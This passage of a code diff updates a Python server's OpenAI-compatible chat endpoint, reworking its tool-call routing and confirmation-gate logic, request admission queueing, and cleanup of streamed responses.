 # cap the encoded length to bound the upload. _MAX_AUDIO_SECONDS additionally
 # bounds the *decoded* length, since a small compressed file (opus/flac/etc.)
 # can expand to a far larger PCM array than the encoded-size cap implies.
-_MAX_AUDIO_RAW_BYTES = 25 * 1024 * 1024
-_MAX_AUDIO_B64_CHARS = _MAX_AUDIO_RAW_BYTES * 4 // 3
+_MAX_AUDIO_RAW_BYTES = STT_AUDIO_RAW_MAX_BYTES
+_MAX_AUDIO_B64_CHARS = STT_AUDIO_B64_MAX_CHARS
 _MAX_AUDIO_SECONDS = 30 * 60
 _WAV_HEADER_BYTES = 44
 _MIN_TRANSCODE_AUDIO_SAMPLE_RATE = 8000
@@ -4689,7 +6813,7 @@ def _build_external_messages(
              metadata; strip it for providers that can't parse the unknown key.
           2. Marked server-side builtin cards (`_server_tool: true` on a
              canonical builtin name, or a Gemini `native_part` payload) are
-             Studio-internal tool cards from a prior native Gemini turn;
+             Unsloth-internal tool cards from a prior native Gemini turn;
              forwarding them to OpenAI / Anthropic / custom OAI-compat gateways
              sends an orphan `tool_calls` entry (no matching tool declaration,
              often no matching `role="tool"` reply) that can be rejected. We
@@ -5300,7 +7424,7 @@ async def openai_chat_completions(
     if payload.provider_id or payload.provider_type:
         # External provider: this request won't touch the local GGUF, so drop it
         # from the keep-warm count or its in-flight stream would falsely block a
-        # concurrent local auto-switch with model_switch_busy.
+        # concurrent local model switch from proceeding.
         from core.inference.llama_keepwarm import untrack_current_request
 
         untrack_current_request(request.scope)
@@ -5372,25 +7496,52 @@ async def openai_chat_completions(
             )
         # Reject confirm-without-stream local tool requests before the switch: the
         # local tool path requires stream=true for the confirm gate, so this shape
-        # is invalid and must not evict the resident model first. Mirror that path's
-        # enablement exactly (_effective_enable_tools honors a CLI --enable-tools
-        # policy hard-override; mcp_enabled opens the tool loop on its own but still
-        # defers to a CLI --disable-tools policy), or an mcp_enabled/policy-forced
-        # request would slip past this guard and only 400 after the swap.
-        from state.tool_policy import get_tool_policy as _get_confirm_tool_policy
+        # is invalid and must not evict the resident model first.
+        #
+        # Enter the local-loop arm exactly when the passthrough router below would
+        # run Unsloth's own tool loop. That gate is `_tools_on or _mcp_allowed`
+        # (see the use_tools block): _effective_enable_tools (which lets a
+        # process-wide --enable-tools policy force the loop on) plus mcp_enabled
+        # honoring --disable-tools, and tool_choice="none" disabling it unless the
+        # request explicitly asked. enabled_tools never enters loop entry (it only
+        # filters which tools run), so it is not a signal here.
+        #
+        # But a policy-forced loop must not steal client-tool passthrough: when the
+        # request did not explicitly ask for the loop (enable_tools/mcp) and carries
+        # client tools, the router forwards to the provider branch, so only treat it
+        # as the local loop when the request explicitly asked OR there is no client
+        # passthrough to defer to.
+        from state.tool_policy import get_tool_policy as _get_tool_policy_pre
 
-        _confirm_cli_policy = _get_confirm_tool_policy()
+        _cli_policy_pre = _get_tool_policy_pre()
+        _use_tools_intent = _effective_enable_tools(payload) or (
+            bool(payload.mcp_enabled) and _cli_policy_pre is not False
+        )
+        if payload.tool_choice == "none" and not _explicit_studio_tool_loop_requested(payload):
+            _use_tools_intent = False
+        _client_tool_passthrough = (
+            bool(payload.tools)
+            or bool(payload.openai_code_exec_container_id)
+            or bool(payload.anthropic_code_exec_container_id)
+            # A JSON-schema response_format is guided-decoding structured output the
+            # router forwards to the llama-server passthrough, not Unsloth's tool
+            # loop, so a --enable-tools policy must not 400 it as a local-confirm
+            # request under ask/auto.
+            or bool(_extract_response_format(payload))
+        )
+        # permission_mode only implies the confirm gate for that local loop.
+        # Client-tool passthrough forwards to the provider branch and the validator
+        # intentionally leaves confirm_tool_calls unset there, so only an explicit
+        # confirm_tool_calls=True should force the local-confirm rejection for it.
+        _studio_local_tool_loop = bool(_use_tools_intent) and (
+            _explicit_studio_tool_loop_requested(payload) or not _client_tool_passthrough
+        )
         if (
-            payload.confirm_tool_calls
-            and not payload.bypass_permissions
+            not payload.bypass_permissions
             and not payload.stream
             and (
-                _effective_enable_tools(payload)
-                or (bool(payload.mcp_enabled) and _confirm_cli_policy is not False)
-                or bool(payload.enabled_tools)
-                or bool(payload.tools)
-                or bool(payload.openai_code_exec_container_id)
-                or bool(payload.anthropic_code_exec_container_id)
+                (_confirm_gate_needs_stream(payload) and _studio_local_tool_loop)
+                or (payload.confirm_tool_calls is True and _client_tool_passthrough)
             )
         ):
             raise HTTPException(
@@ -5450,7 +7601,7 @@ async def openai_chat_completions(
     using_gguf = llama_backend.is_loaded
 
     # OpenAI-SDK clients send ``chat_template_kwargs`` via ``extra_body``, which
-    # the SDK spreads into the request body at the top level. Studio's
+    # the SDK spreads into the request body at the top level. Unsloth's
     # ChatCompletionRequest has ``extra="allow"`` so pydantic stashes them in
     # ``model_extra``, but downstream generators consume the typed
     # ``payload.enable_thinking``. Lift ``enable_thinking`` from the extra-body
@@ -5516,7 +7667,7 @@ async def openai_chat_completions(
         if not backend.active_model_name:
             raise HTTPException(
                 status_code = 400,
-                detail = "No model loaded. Call POST /inference/load first.",
+                detail = _no_model_loaded_detail("No model loaded. Call POST /inference/load first."),
             )
         # Clean public id so the response never echoes a local path; the audio
         # branch below receives this sanitized label too.
@@ -5604,6 +7755,13 @@ async def openai_chat_completions(
                             chunk_text = await asyncio.to_thread(next, gen, _DONE)
                             if chunk_text is _DONE:
                                 break
+                            if isinstance(chunk_text, GenStreamError):
+                                _msg = _friendly_gen_stream_error(chunk_text)
+                                api_monitor.fail(monitor_id, _msg)
+                                yield _openai_stream_error_sse(
+                                    {"error": {"message": _msg, "type": "server_error"}}
+                                )
+                                return
                             if chunk_text:
                                 api_monitor.append_reply(monitor_id, chunk_text)
                                 yield _chat_content_chunk(
@@ -5619,14 +7777,18 @@ async def openai_chat_completions(
                         raise
                     except Exception as e:
                         logger.error(f"Error during audio input streaming: {e}", exc_info = True)
-                        api_monitor.fail(monitor_id, _friendly_error(e))
-                        yield f"data: {json.dumps({'error': {'message': _friendly_error(e), 'type': 'server_error'}})}\n\n"
+                        _msg = _friendly_error(e)
+                        api_monitor.fail(monitor_id, _msg)
+                        yield _openai_stream_error_sse(
+                            {"error": {"message": _msg, "type": "server_error"}}
+                        )
                     finally:
                         await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                         _tracker.__exit__(None, None, None)
 
                 return _SameTaskStreamingResponse(
                     audio_input_stream(),
+                    unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker),
                     media_type = "text/event-stream",
                     headers = {
                         "Cache-Control": "no-cache",
@@ -5636,7 +7798,15 @@ async def openai_chat_completions(
                 )
             else:
                 try:
-                    full_text = "".join(audio_input_generate())
+                    full_text = ""
+                    for chunk_text in audio_input_generate():
+                        if isinstance(chunk_text, GenStreamError):
+                            _msg = _friendly_gen_stream_error(chunk_text)
+                            api_monitor.fail(monitor_id, _msg)
+                            raise HTTPException(status_code = 500, detail = _msg)
+                        full_text += chunk_text
+                except HTTPException:
+                    raise
                 except Exception as e:
                     api_monitor.fail(monitor_id, _friendly_error(e))
                     raise
@@ -5685,18 +7855,18 @@ async def openai_chat_completions(
 
     # ── Standard OpenAI function-calling pass-through (GGUF only) ────
     # When a client (opencode / Claude Code via OpenAI compat / Cursor /
-    # Continue / ...) sends standard OpenAI `tools` without Studio's
+    # Continue / ...) sends standard OpenAI `tools` without Unsloth's
     # `enable_tools` shorthand, forward the request to llama-server
     # verbatim so structured `tool_calls` flow back to the client. This
     # branch runs BEFORE `_extract_content_parts` because that helper is
     # unaware of `role="tool"` messages and assistant messages that only
     # carry `tool_calls` (content=None) — both of which are valid in
     # multi-turn client-side tool loops.
-    effective_max_tokens = _effective_max_tokens(payload)
+    effective_max_tokens = _effective_openai_max_tokens(payload)
 
     normalized_stop = _normalize_stop_sequences(payload.stop)
 
-    _has_tool_messages = any(m.role == "tool" or m.tool_calls for m in payload.messages)
+    _has_tool_messages = _has_openai_tool_history(payload.messages)
     # Route guided-decoding requests through the verbatim passthrough so
     # ``response_format`` (JSON schema) reaches llama-server and the model's
     # GBNF-constrained output comes back unmodified. The non-passthrough GGUF
@@ -5705,12 +7875,41 @@ async def openai_chat_completions(
     # free-form sampling. Guided decoding does not require ``supports_tools`` --
     # the grammar machinery is independent of tool-call parsing.
     _has_response_format = _extract_response_format(payload) is not None
-    _tools_passthrough = llama_backend.supports_tools and (
-        (payload.tools and len(payload.tools) > 0) or _has_tool_messages
+    _has_tool_catalog = bool(payload.tools and len(payload.tools) > 0)
+    _has_active_tool_catalog = _has_tool_catalog and payload.tool_choice != "none"
+    _has_client_tool_contract = _has_active_tool_catalog or _has_tool_messages
+    # The Unsloth tool loop needs a tool-capable backend, so a request that asks
+    # for it on a backend that can't run it (DiffusionGemma forces supports_tools
+    # off) must not steal client tools from the passthrough (#6851).
+    _studio_tool_loop_requested = (
+        _explicit_studio_tool_loop_requested(payload) and llama_backend.supports_tools
     )
+    _client_disabled_tool_calls = payload.tool_choice == "none" and not _studio_tool_loop_requested
+    _supports_tool_passthrough = getattr(
+        llama_backend, "supports_tool_passthrough", llama_backend.supports_tools
+    )
+    _tools_passthrough = _supports_tool_passthrough and _has_client_tool_contract
     if (
         using_gguf
-        and not _effective_enable_tools(payload)
+        and not _studio_tool_loop_requested
+        and _has_client_tool_contract
+        and not _supports_tool_passthrough
+    ):
+        raise _reject(
+            400,
+            openai_error_body(
+                (
+                    "Client-supplied tools or tool-call history require a GGUF chat template "
+                    "with tool-call support; the current model/template does not advertise tools."
+                ),
+                status = 400,
+                code = "unsupported_parameter",
+                param = "tools" if payload.tools else "messages",
+            ),
+        )
+    if (
+        using_gguf
+        and not _studio_tool_loop_requested
         and (_tools_passthrough or _has_response_format)
     ):
         if _wants_multiple_choices(payload):
@@ -5756,12 +7955,20 @@ async def openai_chat_completions(
                 completion_id,
                 monitor_id = monitor_id,
             )
-        return await _openai_passthrough_non_streaming(
-            llama_backend,
-            payload,
-            model_name,
-            monitor_id = monitor_id,
-        )
+        _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
+        _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
+        _tracker.__enter__()
+        try:
+            return await _openai_passthrough_non_streaming(
+                llama_backend,
+                payload,
+                model_name,
+                monitor_id = monitor_id,
+                request = request,
+                cancel_event = cancel_event,
+            )
+        finally:
+            _tracker.__exit__(None, None, None)
 
     # ── Parse messages (handles multimodal content parts) ─────
     # Reuse the pre-hook parse when auto-switch did it, else parse now.
@@ -5821,6 +8028,8 @@ async def openai_chat_completions(
             )
 
         def _gguf_chat_delta_line(delta: ChoiceDelta, finish_reason = None) -> str:
+            if delta.reasoning_content is not None and delta.content is None:
+                delta = delta.model_copy(update = {"content": ""})
             chunk = ChatCompletionChunk(
                 id = completion_id,
                 created = created,
@@ -5844,8 +8053,12 @@ async def openai_chat_completions(
         from state.tool_policy import get_tool_policy as _get_tool_policy_g
 
         _cli_policy = _get_tool_policy_g()
-        _tools_on = _effective_enable_tools(payload)
-        _mcp_allowed = bool(payload.mcp_enabled) and _cli_policy is not False
+        _tools_on = False if _client_disabled_tool_calls else _effective_enable_tools(payload)
+        _mcp_allowed = (
+            not _client_disabled_tool_calls
+            and bool(payload.mcp_enabled)
+            and _cli_policy is not False
+        )
         use_tools = (_tools_on or _mcp_allowed) and llama_backend.supports_tools
 
         if use_tools:
@@ -5861,9 +8074,23 @@ async def openai_chat_completions(
                 use_tools = False
 
         if use_tools:
+            # permission_mode ask/auto require the confirm gate for Unsloth's own
+            # tool loop. The request validator self-enables confirm only for
+            # request-level tool signals (enable_tools/enabled_tools/mcp_enabled);
+            # when a CLI policy (--enable-tools) forces the loop on without those,
+            # derive confirm here so the mode still gates the call (and a
+            # non-stream ask/auto request is rejected below rather than running
+            # unprompted). off/full never prompt, so they are excluded.
+            _effective_confirm = _permission_mode_confirm(payload)
             # Bypass Permissions suppresses confirm, so the stream requirement
-            # (the gate needs streaming to prompt) no longer applies.
-            if payload.confirm_tool_calls and not payload.bypass_permissions and not payload.stream:
+            # (the gate needs streaming to prompt) no longer applies. auto with an
+            # always-safe-only selection never prompts, so it needs no stream even
+            # though _effective_confirm stays true for the loop's per-call gate.
+            if (
+                _confirm_gate_needs_stream(payload)
+                and not payload.bypass_permissions
+                and not payload.stream
+            ):
                 raise _reject(
                     400,
                     openai_error_body(
@@ -5895,13 +8122,18 @@ async def openai_chat_completions(
             _gguf_auto_heal_tool_calls = (
                 payload.auto_heal_tool_calls if payload.auto_heal_tool_calls is not None else True
             )
+            # Active tool names gating the bare-rehearsal strip, matching the loop gate.
+            _gguf_display_tool_names = _display_tool_name_gate(tools_to_use)
 
             # ── Strip stale tool-call XML from conversation history ─
             for _msg in gguf_messages:
                 if _msg.get("role") == "assistant" and isinstance(_msg.get("content"), str):
+                    # Gate on enabled tool names, like the live strip, so a documented inactive
+                    # ``foo[ARGS]{...}`` survives in the replayed prompt context.
                     _msg["content"] = _strip_tool_xml_for_display(
                         _msg["content"],
                         auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                        enabled_tool_names = _gguf_display_tool_names,
                     ).strip()
 
             def gguf_generate_with_tools():
@@ -5922,6 +8154,7 @@ async def openai_chat_completions(
                     reasoning_effort = payload.reasoning_effort,
                     preserve_thinking = payload.preserve_thinking,
                     auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                    nudge_tool_calls = payload.nudge_tool_calls,
                     max_tool_iterations = payload.max_tool_calls_per_message
                     if payload.max_tool_calls_per_message is not None
                     else 25,
@@ -5929,15 +8162,34 @@ async def openai_chat_completions(
                     if payload.tool_call_timeout is not None
                     else 300,
                     session_id = payload.session_id,
+                    thread_id = payload.thread_id,
                     rag_scope = payload.rag_scope,
                     disable_parallel_tool_use = payload.parallel_tool_calls is False,
                     # Bypass Permissions takes precedence over the confirm gate:
                     # never prompt while bypassing.
-                    confirm_tool_calls = bool(payload.confirm_tool_calls)
-                    and not bool(payload.bypass_permissions),
+                    confirm_tool_calls = _effective_confirm and not bool(payload.bypass_permissions),
                     bypass_permissions = bool(payload.bypass_permissions),
+                    permission_mode = payload.permission_mode,
                 )
 
+            _tool_admission_mode = "chat_tool_stream" if payload.stream else "chat_tool_nonstream"
+            try:
+                reservation, admission_config = _openai_llama_admission_reserve(
+                    request = request,
+                    llama_backend = llama_backend,
+                )
+            except LlamaAdmissionQueueFull as exc:
+                _openai_admission_log(
+                    "queue-full",
+                    snapshot = exc.snapshot,
+                    request = request,
+                    mode = _tool_admission_mode,
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                raise _openai_admission_http_exception(exc, status_code = 429)
+
             _tool_sentinel = object()
 
             _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
@@ -5946,6 +8198,8 @@ async def openai_chat_completions(
 
             async def gguf_tool_stream():
                 gen = None
+                next_task = None
+                stream_completed = False
                 disconnect_watcher = asyncio.create_task(
                     _await_disconnect_then_cancel(request, cancel_event)
                 )
@@ -5983,10 +8237,39 @@ async def openai_chat_completions(
                             api_monitor.finish(monitor_id, "cancelled")
                             return
 
-                        event = await asyncio.to_thread(next, gen, _tool_sentinel)
+                        next_task = asyncio.create_task(
+                            asyncio.to_thread(next, gen, _tool_sentinel)
+                        )
+                        try:
+                            # Stall-timeout wait: keepalive while the generator stays
+                            # silent (e.g. prefill between tool iterations). asyncio.wait
+                            # never cancels next_task, matching the finally-drain shield.
+                            while True:
+                                done_tasks, _ = await asyncio.wait(
+                                    {next_task},
+                                    timeout = _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S,
+                                )
+                                if done_tasks:
+                                    break
+                                yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                            event = next_task.result()
+                        finally:
+                            if next_task.done():
+                                next_task = None
                         if event is _tool_sentinel:
                             break
 
+                        if event["type"] == "heartbeat":
+                            # Tool-wrapper heartbeat while a server-side tool blocks; keeps SSE alive.
+                            yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                            continue
+
+                        if event["type"] in ("tool_output", "tool_args"):
+                            # Live stdout/stderr or tool-call arguments, forwarded
+                            # verbatim for the UI. Final result still arrives in tool_end.
+                            yield f"data: {json.dumps(event)}\n\n"
+                            continue
+
                         if event["type"] == "status":
                             # Empty status marks an iteration boundary in the
                             # GGUF tool loop (e.g. after a re-prompt). Reset the
@@ -6035,6 +8318,7 @@ async def openai_chat_completions(
                         clean_cumulative = _strip_tool_xml_for_display(
                             raw_cumulative,
                             auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                            enabled_tool_names = _gguf_display_tool_names,
                         )
                         new_text = clean_cumulative[len(prev_text) :]
                         prev_text = clean_cumulative
@@ -6081,6 +8365,7 @@ async def openai_chat_completions(
                     api_monitor.finish(
                         monitor_id, "cancelled" if cancel_event.is_set() else "completed"
                     )
+                    stream_completed = True
                     yield "data: [DONE]\n\n"
 
                 except asyncio.CancelledError:
@@ -6093,19 +8378,157 @@ async def openai_chat_completions(
                     # Recover if an MTP+tensor crash killed the server mid-stream.
                     get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                     error_chunk = _openai_stream_error_chunk(e)
-                    yield f"data: {json.dumps(error_chunk)}\n\n"
+                    yield _openai_stream_error_sse(error_chunk)
                 finally:
-                    await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
-                    if gen is not None:
-                        try:
-                            gen.close()
-                        except (RuntimeError, ValueError):
-                            pass
-                    _tracker.__exit__(None, None, None)
+                    try:
+                        if not stream_completed:
+                            cancel_event.set()
+                        task_to_drain = next_task
+                        next_task = None
+                        while task_to_drain is not None and not task_to_drain.done():
+                            try:
+                                await asyncio.shield(task_to_drain)
+                            except asyncio.CancelledError:
+                                cancel_event.set()
+                                continue
+                            except Exception:
+                                break
+                        if task_to_drain is not None and task_to_drain.done():
+                            try:
+                                task_to_drain.exception()
+                            except (asyncio.CancelledError, Exception):
+                                pass
+                        if gen is not None and not stream_completed:
+                            try:
+                                await asyncio.to_thread(gen.close)
+                            except (RuntimeError, ValueError):
+                                pass
+                            except Exception:
+                                logger.debug(
+                                    "Error closing GGUF tool stream generator during cleanup",
+                                    exc_info = True,
+                                )
+                        await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
+                    finally:
+                        _tracker.__exit__(None, None, None)
 
             if payload.stream:
+                stream_lease = reservation.lease_nowait()
+                admission_wait_started_at = None
+                if stream_lease is None:
+                    admission_wait_started_at = time.monotonic()
+                    _openai_admission_log(
+                        "queued",
+                        reservation,
+                        request = request,
+                        mode = _tool_admission_mode,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+
+                async def admitted_gguf_tool_stream():
+                    lease = stream_lease
+                    stream_started = False
+                    stream_cancelled = False
+                    try:
+                        if lease is None:
+                            async for wait_item in _openai_admission_wait_stream_chunks(
+                                reservation,
+                                admission_config,
+                                request = request,
+                                cancel_event = cancel_event,
+                            ):
+                                if isinstance(wait_item, str):
+                                    yield wait_item
+                                    continue
+                                lease = wait_item
+                                _openai_admission_log(
+                                    "granted-after-wait",
+                                    reservation,
+                                    request = request,
+                                    mode = _tool_admission_mode,
+                                    wait_started_at = admission_wait_started_at,
+                                    completion_id = completion_id,
+                                    level = "debug",
+                                )
+                                break
+                        if lease is None:
+                            return
+                        await _raise_if_openai_admission_cancelled(
+                            reservation,
+                            request = request,
+                            cancel_event = cancel_event,
+                        )
+                        iterator = gguf_tool_stream()
+                        stream_started = True
+                        try:
+                            async for chunk in iterator:
+                                yield chunk
+                        except asyncio.CancelledError:
+                            stream_cancelled = True
+                            raise
+                        finally:
+                            await _close_openai_admitted_stream_iterator(
+                                iterator,
+                                cancelled = stream_cancelled,
+                            )
+                    except LlamaAdmissionTimeout as exc:
+                        _openai_admission_log(
+                            "timeout",
+                            reservation,
+                            request = request,
+                            mode = _tool_admission_mode,
+                            wait_started_at = admission_wait_started_at,
+                            completion_id = completion_id,
+                            level = "warning",
+                        )
+                        api_monitor.fail(monitor_id, str(exc))
+                        yield _openai_stream_error_sse(
+                            _openai_admission_error_body(exc, status_code = 503)
+                        )
+                    except LlamaAdmissionCancelled:
+                        _openai_admission_log(
+                            "cancelled-before-upstream",
+                            reservation,
+                            request = request,
+                            mode = _tool_admission_mode,
+                            wait_started_at = admission_wait_started_at,
+                            completion_id = completion_id,
+                            level = "debug",
+                        )
+                        api_monitor.finish(monitor_id, "cancelled")
+                        return
+                    except asyncio.CancelledError:
+                        api_monitor.finish(monitor_id, "cancelled")
+                        raise
+                    except HTTPException as exc:
+                        status_code = getattr(exc, "status_code", 500) or 500
+                        detail = exc.detail
+                        error = (
+                            detail
+                            if isinstance(detail, dict) and "error" in detail
+                            else openai_error_body(str(detail), status = status_code)
+                        )
+                        api_monitor.fail(monitor_id, str(detail))
+                        yield _openai_stream_error_sse(error)
+                    finally:
+                        if lease is not None:
+                            lease.release()
+                        if not stream_started:
+                            api_monitor.finish(monitor_id, "cancelled")
+                            reservation.cancel()
+                            _tracker.__exit__(None, None, None)
+
+                async def _gguf_tool_admission_unstarted_cleanup() -> None:
+                    api_monitor.finish(monitor_id, "cancelled")
+                    if stream_lease is not None:
+                        stream_lease.release()
+                    reservation.cancel()
+                    _tracker.__exit__(None, None, None)
+
                 return _SameTaskStreamingResponse(
-                    gguf_tool_stream(),
+                    admitted_gguf_tool_stream(),
+                    unstarted_cleanup = _gguf_tool_admission_unstarted_cleanup,
                     media_type = "text/event-stream",
                     headers = {
                         "Cache-Control": "no-cache",
@@ -6140,6 +8563,7 @@ async def openai_chat_completions(
                             full_text = _strip_tool_xml_for_display(
                                 event.get("text", ""),
                                 auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                                enabled_tool_names = _gguf_display_tool_names,
                             )
                     return full_text, usage, finish
                 finally:
@@ -6150,10 +8574,61 @@ async def openai_chat_completions(
                     except (RuntimeError, ValueError):
                         pass
 
+            drain_task = None
+
+            async def _drain_cancelled_gguf_tool_task():
+                if drain_task is None:
+                    return
+                while not drain_task.done():
+                    try:
+                        await asyncio.shield(drain_task)
+                    except asyncio.CancelledError:
+                        cancel_event.set()
+                        continue
+                    except Exception:
+                        break
+                if drain_task.done():
+                    try:
+                        drain_task.exception()
+                    except (asyncio.CancelledError, Exception):
+                        pass
+
+            admission_lease = None
+            admission_wait_started_at = None
             try:
-                full_text, completion_usage, completion_finish = await asyncio.to_thread(
-                    _drain_gguf_tool_loop
+                if reservation.lease_nowait() is None:
+                    admission_wait_started_at = time.monotonic()
+                    _openai_admission_log(
+                        "queued",
+                        reservation,
+                        request = request,
+                        mode = _tool_admission_mode,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                admission_lease = await _wait_for_openai_admission_non_streaming(
+                    reservation,
+                    admission_config,
+                    request = request,
+                    cancel_event = cancel_event,
                 )
+                if admission_wait_started_at is not None:
+                    _openai_admission_log(
+                        "granted-after-wait",
+                        reservation,
+                        request = request,
+                        mode = _tool_admission_mode,
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                await _raise_if_openai_admission_cancelled(
+                    reservation,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+                drain_task = asyncio.create_task(asyncio.to_thread(_drain_gguf_tool_loop))
+                full_text, completion_usage, completion_finish = await asyncio.shield(drain_task)
                 reasoning_text, visible_text = _extract_responses_reasoning(
                     full_text,
                     parse_think_markers = _responses_should_parse_think_markers(
@@ -6199,6 +8674,48 @@ async def openai_chat_completions(
                     monitor_id, "cancelled" if cancel_event.is_set() else "completed"
                 )
                 return _model_json_response(response)
+            except asyncio.CancelledError:
+                cancel_event.set()
+                await _drain_cancelled_gguf_tool_task()
+                api_monitor.finish(monitor_id, "cancelled")
+                reservation.cancel()
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise
+            except LlamaAdmissionTimeout as exc:
+                _openai_admission_log(
+                    "timeout",
+                    reservation,
+                    request = request,
+                    mode = _tool_admission_mode,
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise _openai_admission_http_exception(exc, status_code = 503)
+            except LlamaAdmissionCancelled as exc:
+                _openai_admission_log(
+                    "cancelled-before-upstream",
+                    reservation,
+                    request = request,
+                    mode = _tool_admission_mode,
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "debug",
+                )
+                api_monitor.finish(monitor_id, "cancelled")
+                if admission_lease is not None:
+                    admission_lease.release()
+                _tracker.__exit__(None, None, None)
+                raise HTTPException(
+                    status_code = 499,
+                    detail = _openai_admission_error_body(exc, status_code = 499),
+                )
             except Exception as e:
                 logger.error(f"Error during GGUF tool completion: {e}", exc_info = True)
                 api_monitor.fail(monitor_id, _friendly_error(e))
@@ -6219,6 +8736,8 @@ async def openai_chat_completions(
                     )
                 raise HTTPException(status_code = 500, detail = safe_error_detail(e))
             finally:
+                if admission_lease is not None:
+                    admission_lease.release()
                 _tracker.__exit__(None, None, None)
 
         # ── Standard GGUF path (no tools) ─────────────────────
@@ -6253,11 +8772,31 @@ async def openai_chat_completions(
             _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
             _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
             _tracker.__enter__()
+            try:
+                reservation, admission_config = _openai_llama_admission_reserve(
+                    request = request,
+                    llama_backend = llama_backend,
+                )
+            except LlamaAdmissionQueueFull as exc:
+                _tracker.__exit__(None, None, None)
+                _openai_admission_log(
+                    "queue-full",
+                    snapshot = exc.snapshot,
+                    request = request,
+                    mode = "chat_standard_stream",
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                raise _openai_admission_http_exception(exc, status_code = 429)
 
             async def gguf_stream_chunks():
                 disconnect_watcher = asyncio.create_task(
                     _await_disconnect_then_cancel(request, cancel_event)
                 )
+                gen = None
+                next_task = None
+                stream_completed = False
                 try:
                     yield _chat_role_chunk(completion_id, created, model_name)
 
@@ -6276,7 +8815,25 @@ async def openai_chat_completions(
                             cancel_event.set()
                             api_monitor.finish(monitor_id, "cancelled")
                             return
-                        cumulative = await asyncio.to_thread(next, gen, _gguf_sentinel)
+                        next_task = asyncio.create_task(
+                            asyncio.to_thread(next, gen, _gguf_sentinel)
+                        )
+                        try:
+                            # Stall-timeout wait: keepalive while the generator stays
+                            # silent (e.g. no-tool prefill). asyncio.wait never cancels
+                            # next_task, matching the finally-drain shield (see GGUF stream).
+                            while True:
+                                done_tasks, _ = await asyncio.wait(
+                                    {next_task},
+                                    timeout = _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S,
+                                )
+                                if done_tasks:
+                                    break
+                                yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                            cumulative = next_task.result()
+                        finally:
+                            if next_task.done():
+                                next_task = None
                         if cumulative is _gguf_sentinel:
                             break
                         # Capture server metadata for the final usage chunk
@@ -6345,6 +8902,7 @@ async def openai_chat_completions(
                     api_monitor.finish(
                         monitor_id, "cancelled" if cancel_event.is_set() else "completed"
                     )
+                    stream_completed = True
                     yield "data: [DONE]\n\n"
 
                 except asyncio.CancelledError:
@@ -6355,13 +8913,156 @@ async def openai_chat_completions(
                     logger.error(f"Error during GGUF streaming: {e}", exc_info = True)
                     api_monitor.fail(monitor_id, _friendly_error(e))
                     error_chunk = _openai_stream_error_chunk(e)
-                    yield f"data: {json.dumps(error_chunk)}\n\n"
+                    yield _openai_stream_error_sse(error_chunk)
                 finally:
-                    await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
-                    _tracker.__exit__(None, None, None)
+                    try:
+                        if not stream_completed:
+                            cancel_event.set()
+                        task_to_drain = next_task
+                        next_task = None
+                        while task_to_drain is not None and not task_to_drain.done():
+                            try:
+                                await asyncio.shield(task_to_drain)
+                            except asyncio.CancelledError:
+                                cancel_event.set()
+                                continue
+                            except Exception:
+                                break
+                        if task_to_drain is not None and task_to_drain.done():
+                            try:
+                                task_to_drain.exception()
+                            except (asyncio.CancelledError, Exception):
+                                pass
+                        if gen is not None and not stream_completed:
+                            try:
+                                await asyncio.to_thread(gen.close)
+                            except (RuntimeError, ValueError):
+                                pass
+                            except Exception:
+                                logger.debug(
+                                    "Error closing GGUF stream generator during cleanup",
+                                    exc_info = True,
+                                )
+                        await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
+                    finally:
+                        _tracker.__exit__(None, None, None)
+
+            stream_lease = reservation.lease_nowait()
+            admission_wait_started_at = None
+            if stream_lease is None:
+                admission_wait_started_at = time.monotonic()
+                _openai_admission_log(
+                    "queued",
+                    reservation,
+                    request = request,
+                    mode = "chat_standard_stream",
+                    completion_id = completion_id,
+                    level = "debug",
+                )
+
+            async def admitted_gguf_stream_chunks():
+                lease = stream_lease
+                stream_started = False
+                stream_cancelled = False
+                try:
+                    if lease is None:
+                        async for wait_item in _openai_admission_wait_stream_chunks(
+                            reservation,
+                            admission_config,
+                            request = request,
+                            cancel_event = cancel_event,
+                        ):
+                            if isinstance(wait_item, str):
+                                yield wait_item
+                                continue
+                            lease = wait_item
+                            _openai_admission_log(
+                                "granted-after-wait",
+                                reservation,
+                                request = request,
+                                mode = "chat_standard_stream",
+                                wait_started_at = admission_wait_started_at,
+                                completion_id = completion_id,
+                                level = "debug",
+                            )
+                            break
+                    if lease is None:
+                        return
+                    await _raise_if_openai_admission_cancelled(
+                        reservation,
+                        request = request,
+                        cancel_event = cancel_event,
+                    )
+                    iterator = gguf_stream_chunks()
+                    stream_started = True
+                    try:
+                        async for chunk in iterator:
+                            yield chunk
+                    except asyncio.CancelledError:
+                        stream_cancelled = True
+                        raise
+                    finally:
